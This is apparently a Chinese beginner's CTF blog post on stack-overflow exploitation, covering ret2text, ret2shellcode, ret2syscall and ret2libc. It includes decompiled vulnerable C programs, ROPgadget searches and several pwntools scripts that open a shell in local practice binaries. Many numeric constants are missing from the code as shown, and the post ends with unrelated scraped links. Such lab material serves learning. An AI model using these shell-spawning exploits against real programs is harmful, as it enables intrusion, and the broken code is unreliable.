栈溢出

一、基本概念:

  • 函数调用栈情况见链接

  • 基本准备:

    bss段可执行检测:

​  
gef➤  b main
Breakpoint at 0x8048536: file ret2shellcode.c, line .
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap
  • ROPgadget

    ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
    ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
    ROPgadget --binary rop --string '/bin/sh'
    ROPgadget --binary rop --only 'int'
  • 系统调用

    Linux系统中通过软中断0x80调用实现控制权转移给内核,内容执行完成后返回结果。所有系统调用在linux内核的源文件目录"arch/x86/kernel"中的各种文件中定义,具体建本文最后一部分的列表。

二、ret2text

ret2text其实就是调用程序中text中已经存在的shell

三、ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode

实例:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return ;
}

shellcode

解析:先将shellcode写进v4,再溢出v4到返回地址,然后将返回地址覆盖成buf2

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

  

四、ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

32位:拿execve()来举例

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, , , );
setvbuf(stdin, , , );
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return ;
}

找到相应寄存器地址,其中0xb为execve系统调用地址

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * , pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, , , binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

五、ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。

address of system() 是 system() 在内存中的地址,用来覆盖返回地址。

padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。

address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

实例:

1).ret2libc1

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, , , );
setvbuf(_bss_start, , , );
puts("RET2LIBC >_<");
gets((char *)&v4);
return ;
}
exp:
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

 2).ret2libc2

开启了堆栈不可执行保护

1、构造 payload

第一部分:

‘a' * 112 + gets_plt + ret_addr + buf_addr

这里需要思考两点,第一点就是 buf 地址,我们的 “/bin/sh” 应该放在哪里,通常我们会选择 .bss (存储未初始化全局变量) 段,IDA 查看 .bss 段发现程序给出了 buf2[100]数组,正好就可以使用这块区域。

现在考虑返回地址,因为在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,在程序中找到了 pop ebx,ret 指令。

第二部分:

这部分就与上一题一样,

system_plt + ret_addr + buf_addr

还有另外一种 payload 更简洁情况:

在 gets() 函数调用完后,在返回地址处覆盖上 system() 的地址将 gets() 函数的参数 buf 地址当成返回地址,再在后面加上 system() 函数的参数 buf。

’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、编写 exp
from pwn import *

#context.log_level = 'debug'

sh = process('./ret2libc2')

elf = ELF('ret2libc2')

def pwn(sh, payload):
sh.recvuntil('?')
sh.sendline(payload)
sh.sendline('/bin/sh')#这里将 /bin/sh 传入 buf 中
sh.interactive()

buf = elf.symbols['buf2']
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx_ret = 0x0804843d
ret_addr = 0xdeadbeef

#payload = 'a' * + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf)
payload = 'a' * + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf)
pwn(sh, payload)

PWN菜鸡入门之栈溢出(1)的更多相关文章

  1. PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

    准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...

  2. PWN菜鸡入门之函数调用栈与栈溢出的联系

    一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp ...

  3. PWN菜鸡入门之CANARY探究

    看门见码 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strin ...

  4. PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

    下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...

  5. HDU 2064 菜鸡第一次写博客

    果然集训就是学长学姐天天传授水铜的动态规划和搜索,今天讲DP由于困意加上面瘫学长"听不懂就是你不行"的呵呵传授,全程梦游.最后面对连入门都算不上的几道动态规划,我的内心一片宁静,甚 ...

  6. ACM菜鸡退役帖——ACM究竟给了我什么?

    这个ACM退役帖,诸多原因(一言难尽...),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其 ...

  7. 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(下)

    关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/12/es-code03/ 前提 上篇文章写完了 ES 流程启动的一部分,main 方法都入 ...

  8. 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(上)

    关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/11/es-code02/ 前提 上篇文章写了 ElasticSearch 源码解析 -- ...

  9. 渣渣菜鸡的 ElasticSearch 源码解析 —— 环境搭建

    关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/25/es-code01/ 软件环境 1.Intellij Idea:2018.2版本 2. ...

随机推荐

  1. Array类型判断

    http://www.cnblogs.com/YaoAzhen/archive/2010/01/27/1657696.html

  2. 怎么会float交换器int

    最近突然想知道编译器整数浮球开关是如何实现的,现在很多信息,但遗憾的是甚至没有这方面的记录,所以我决定实现自己的简单的整数浮点转 随着float开启int为例  double转int类似 在做强转之前 ...

  3. [MVVM Light]Messenger 的使用

    原文:[MVVM Light]Messenger 的使用 当我们使用MVVM开发模式进行开发时,ViewModel之间的通信常常是很头疼的事情,好在MVVM Light提供了Messenger类可以轻 ...

  4. HDU2665 Kth number 【合并树】

    Kth number Time Limit: 15000/5000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Tota ...

  5. Why I Choose Delphi Summary

    Over the summer, there has been a number of blog posts on this topic, but I haven't seen a complete ...

  6. 三:Java之Applet

    首先我要说的是Applet是一种应用程序,它是一种由JAVA编写的小应用程序,通常这样的应用程序都像他的名字一样,是一个非常小的程序,或许有些朋友就会问了,那么它是用来干什么的呢?JAVA程序就是JA ...

  7. 数学公式的规约(reduce)和简化(simplify)

    to simplify notation, 1. 增广(augment) xi=[xi;1],减少一个常数项: 2. 多个求和号 ∥x∥2=xTx 向量 ⇒ 矩阵: 求和号本身也可化为向量矩阵运算: ...

  8. CCPlace,CCFlip*,CCToggleVisibility,CCMoveTo*,CCJumpTo*,CCScale*,CCRotate*,CCSkew*,fade,CCCardinalSp*

     1 CCAction动作 CCAction作为一个基类.事实上质是一个接口(即抽象类),由它派生的实现类(如运动和转动等)才是我们实际使用的动作.CCAction 的绝大多数实现类都派生自CCF ...

  9. 【Android先进】如何使用数据文件来保存程序

    在程序,有许多方法来存储和检索数据,本文,它描述了如何使用文件系统来保存数据编程和读取操作 我直接写了一个帮助类,进行文件的写入和读取操作 /** * 用于在文件里保存程序数据 * * @author ...

  10. TypeScript Array Remove

    定义一个数组 tags:any[]; 方法1:filter 删除并不留空位 this.tags = this.tags.filter(tag => tag !== removedTag); 方法 ...